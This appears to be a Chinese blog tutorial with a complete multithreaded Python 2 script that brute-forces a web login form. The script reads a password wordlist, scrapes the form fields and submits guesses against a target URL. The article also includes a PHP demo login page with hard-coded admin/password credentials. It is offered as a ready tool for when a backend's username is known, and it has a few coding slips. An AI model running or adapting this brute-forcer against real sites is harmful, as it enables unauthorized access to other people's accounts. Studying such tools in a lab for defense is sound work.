Python多线程Web后台爆破

前言

我们很多时候知道后台用户名但是不知道密码的时候就需要这样一款利器了

我没有写用户字典,可自行修改完善。

知识点

thread多线程,urllib2页面爬取,

HTMLParser解析HTML

  1. from HTMLParser import HTMLParser
  2. from htmlentitydefs import name2codepoint
  3.  
  4. class MyHTMLParser(HTMLParser):
  5.  
  6. def handle_starttag(self, tag, attrs):
  7. print('<%s>' % tag)
  8.  
  9. def handle_endtag(self, tag):
  10. print('</%s>' % tag)
  11.  
  12. def handle_startendtag(self, tag, attrs):
  13. print('<%s/>' % tag)
  14.  
  15. def handle_data(self, data):
  16. print('data')
  17.  
  18. def handle_comment(self, data):
  19. print('<!-- -->')
  20.  
  21. def handle_entityref(self, name):
  22. print('&%s;' % name)
  23.  
  24. def handle_charref(self, name):
  25. print('&#%s;' % name)
  26.  
  27. parser = MyHTMLParser()
  28. parser.feed('<html><head></head><body><p>Some <a href=\"#\">html</a> tutorial...<br>END</p></body></html>')

feed()方法可以多次调用,也就是不一定一次把整个HTML字符串都塞进去,可以一部分一部分塞进去。

特殊字符有两种,一种是英文表示的&nbsp;,一种是数字表示的&#1234;,这两种字符都可以通过Parser解析出来。

步骤

因为测试页不好找,所以我自己自己搭建了一个登录页,大致如下:

  1. if(!empty($_POST['username'])){
  2. $username = $_POST['username'];
  3. $password = $_POST['password'];
  4. #帐号密码设置为固定以方便我们测试
  5. if ($username=="admin" && $password=="password"){echo "sucessful login";}else{
  6. ?>
  7. <form action="login.php" method="post">
  8.  
  9. <fieldset>
  10.  
  11. <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
  12.  
  13.  
  14. <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
  15.  
  16.  
  17.  
  18. <p class="submit"><input type="submit" value="Login" name="Login"></p>
  19.  
  20. </fieldset>
  21.  
  22. </form>

直接设置固定的帐号密码为:admin/password

Python代码

  1. #-*-coding:utf-8-*-
  2. import urllib2
  3. import urllib
  4. import cookielib
  5. import threading
  6. import sys
  7. import Queue
  8.  
  9. from HTMLParser import HTMLParser
  10.  
  11. #简要设置
  12. user_thread = 10
  13. username = "admin"
  14. wordlist_file = "/root/password.lst"
  15.  
  16. resume = None
  17.  
  18. target_url = "http://192.168.2.130:81/login.php"
  19. target_post = "http://192.168.2.130:81/login.php"
  20.  
  21. username_field ="username"
  22. password_field ="password"
  23.  
  24. false_check ="DVWA"
  25.  
  26. ########################################################################
  27. class Brtuer(object):
  28.  
  29. #----------------------------------------------------------------------
  30. def __init__(self,username,words):
  31. self.username =username
  32. self.password_q =words
  33. self.found = False
  34.  
  35.  
  36. print "Finished setting up for: %s" % username
  37.  
  38. #----------------------------------------------------------------------
  39. def run_brutefoce(self):
  40. for i in range(user_thread):
  41.  
  42. t = threading.Thread(target=self.web_bruter)
  43. t.start()
  44.  
  45. #----------------------------------------------------------------------
  46. def web_bruter(self):
  47. while not self.password_q.empty() and not self.found:
  48. brute = self.password_q.get().rstrip()
  49. jar = cookielib.FileCookieJar("cookies")
  50. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  51.  
  52. response =opener.open(target_url)
  53.  
  54. page = response.read()
  55.  
  56. print "Trying:(%s=>%s) [%d left]" % (self.username,brute,self.password_q.qsize())
  57.  
  58. #初始我们写的类并解析页面
  59. parser = BruterParser()
  60. parser.feed(page)
  61. post_tags = parser.tag_results
  62.  
  63. #构造参数
  64. post_tags[username_field] = self.username
  65. post_tags[password_field] = brute
  66.  
  67.  
  68. login_data = urllib.urlencode(post_tags)
  69. #print login_data
  70. login_response = opener.open(target_post,login_data)
  71. login_result = login_response.read()
  72.  
  73. if false_check not in login_result:
  74. self.found =True
  75.  
  76. print "\033[1;32;41m[*] Brute Bruteforce successful"
  77. print "\033[1;32;41m[*] Username=%s" %username
  78. print "\033[1;32;41m[*] Password=%s" %brute
  79. print "\033[1;32;41m[*] Waiting for other threads exit...\033[0m"
  80.  
  81.  
  82. ########################################################################
  83. class BruterParser(HTMLParser):
  84.  
  85. #----------------------------------------------------------------------
  86. def __init__(self):
  87. HTMLParser.__init__(self)
  88. self.tag_results = {}
  89. #----------------------------------------------------------------------
  90. def handle_starttag(self,tag,attrs):
  91. if tag == "input":
  92. tag_name =None
  93. tag_value =None
  94. for name,value in attrs:
  95. if name =="name":
  96. tag_name =name
  97. if name =="value":
  98. tag_value =value
  99.  
  100. if tag_name is not None:
  101. self.tag_results[tag_name] =value
  102.  
  103.  
  104. #----------------------------------------------------------------------
  105. resumae = None
  106. def build_wordlist(wordlist_file):
  107. #读入目录字典
  108. fd =open(wordlist_file, mode='rb')
  109. raw_words =fd.readlines()
  110. fd.close()
  111.  
  112. found_resume = False
  113. #定义线程对象
  114. words = Queue.Queue()
  115. #print raw_words
  116. for word in raw_words:
  117. word =word.rstrip()
  118. if resumae is not None:
  119. if found_resume:
  120. words.put(word)
  121. else:
  122. if word ==resumae:
  123. found_resume =True
  124. print "Resume wordlist from:%s" % resumae
  125. else:
  126. words.put(word)
  127. return words
  128.  
  129.  
  130. words = build_wordlist(wordlist_file)
  131.  
  132. bruter_obj = Brtuer(username,words)
  133. #执行handle_starttag
  134. bruter_obj.run_brutefoce()

效果图

上面帐号的密码可以看到已经成功破解

 

发表评论

邮箱地址不会被公开。 必填项已用*标注